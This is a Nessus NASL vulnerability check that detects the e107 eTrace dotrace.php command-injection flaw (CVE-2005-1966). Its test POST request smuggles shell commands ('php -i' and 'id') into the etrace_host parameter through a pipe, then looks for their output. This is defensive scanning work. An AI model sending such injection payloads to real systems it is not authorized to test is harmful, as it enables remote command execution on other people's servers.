e107 eTrace Plugin dotrace.php Arbitrary Code Execution

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(18479);
  script_version("1.27");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/05/14");

  script_cve_id("CVE-2005-1966");
  script_bugtraq_id(13934);

  script_name(english:"e107 eTrace Plugin dotrace.php Arbitrary Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that is prone to arbitrary
command execution.");
  script_set_attribute(attribute:"description", value:
"The installation of e107 on the remote host includes the eTrace
plugin.  This plugin fails to sanitize the 'etrace_cmd' and
'etrace_host' parameters of the 'dotrace.php' script before using them
in a system() call.  An attacker can exploit this flaw to execute
arbitrary shell commands subject to the privileges of the userid under
which the affected application runs.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/402120");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/407475/30/0/threaded");
  script_set_attribute(attribute:"solution", value:
"Upgrade to eTrace plugin version 1.03 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/06/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:e107:e107");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2025 Tenable Network Security, Inc.");

  script_dependencies("e107_detect.nasl");
  script_require_keys("www/e107");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("audit.inc");

port = get_http_port(default:80, php:TRUE);

# Test an install.
install = get_install_from_kb(appname:'e107', port:port, exit_on_fail:TRUE);

dir = install['dir'];
url = dir + "/e107_plugins/etrace/dotrace.php";

# Check whether the affected script exists.
r = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
res = r[2];

# If it looks like dotrace.php...
if ("potential hacking attempt" >< res) {
  # Try to exploit the flaw by running "php -i" and "id".
  postdata = "etrace_cmd=traceroute&" +
    "etrace_host=127.0.0.1|php%20-i;id";

  r = http_send_recv3(method:"POST", item:url, port: port,
    content_type: "application/x-www-form-urlencoded",
    data: postdata,
    exit_on_fail:TRUE);
  res = r[2];

  # There's a problem if the results look like output from...
  if (
    # either phpinfo or...
    "PHP Version =>" >< res ||
    # the id command
    egrep(string:res, pattern:"uid=[0-9]+.* gid=[0-9]")
  )
  {
    security_hole(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "e107", build_url(qs:dir, port:port));